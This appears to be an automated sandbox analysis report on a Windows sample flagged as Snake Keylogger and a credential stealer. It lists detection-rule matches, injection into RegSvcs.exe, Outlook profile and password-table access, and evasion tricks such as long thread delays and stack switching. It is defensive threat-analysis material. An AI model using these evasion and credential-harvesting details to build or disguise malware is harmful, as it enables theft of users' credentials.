Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.VIAmJUhQ54.exe.3690000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.VIAmJUhQ54.exe.3690000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.VIAmJUhQ54.exe.3690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: VIAmJUhQ54.exe PID: 5924, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 7336, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@3/3

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0076CE7A GetLastError,FormatMessageW,

1_2_0076CE7A

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0075AB84 AdjustTokenPrivileges,CloseHandle,		1_2_0075AB84
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0075B134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		1_2_0075B134

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0076E1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

1_2_0076E1FD

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_00766532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

1_2_00766532

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0077C18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

1_2_0077C18C

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0072406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

1_2_0072406B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

File created: C:\Users\user\AppData\Local\Temp\autF3C4.tmp

Jump to behavior

Source: VIAmJUhQ54.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000008.00000002.3714455601.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3714455601.0000000002B78000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3714455601.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3714455601.0000000002B64000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3714455601.0000000002B85000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3715154814.0000000003A8D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: VIAmJUhQ54.exe	ReversingLabs: Detection: 79%
Source: VIAmJUhQ54.exe	Virustotal: Detection: 69%

Source: unknown	Process created: C:\Users\user\Desktop\VIAmJUhQ54.exe "C:\Users\user\Desktop\VIAmJUhQ54.exe"
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\VIAmJUhQ54.exe"
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\VIAmJUhQ54.exe"	Jump to behavior

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: VIAmJUhQ54.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: VIAmJUhQ54.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: VIAmJUhQ54.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: VIAmJUhQ54.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: VIAmJUhQ54.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: VIAmJUhQ54.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: VIAmJUhQ54.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: VIAmJUhQ54.exe, 00000001.00000003.1285323072.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, VIAmJUhQ54.exe, 00000001.00000003.1285847604.0000000003850000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: VIAmJUhQ54.exe, 00000001.00000003.1285323072.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, VIAmJUhQ54.exe, 00000001.00000003.1285847604.0000000003850000.00000004.00001000.00020000.00000000.sdmp

Source: VIAmJUhQ54.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: VIAmJUhQ54.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: VIAmJUhQ54.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: VIAmJUhQ54.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: VIAmJUhQ54.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0073E01E LoadLibraryA,GetProcAddress,

1_2_0073E01E

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0073288B push 66007323h; retn 0079h	1_2_007328E1
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00746B05 push ecx; ret	1_2_00746B18
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0074BDAA push edi; ret	1_2_0074BDAC
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0074BEC3 push esi; ret	1_2_0074BEC5

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00788111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		1_2_00788111
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_0073EB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		1_2_0073EB42

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Code function: 1_2_0074123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_0074123A

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

API/Special instruction interceptor: Address: F06F9C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598498	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597155	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596115	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595948	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595841	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594399	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2002			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7848			Jump to behavior

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Evaded block: after key decision			graph_1-87331
Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Evaded block: after key decision			graph_1-88411

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-87876

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe

API coverage: 4.6 %

Source: C:\Users\user\Desktop\VIAmJUhQ54.exe	Code function: 1_2_00766CA9 GetFileAttributesW,FindFirstFileW,FindClose,	1_2_00766CA9
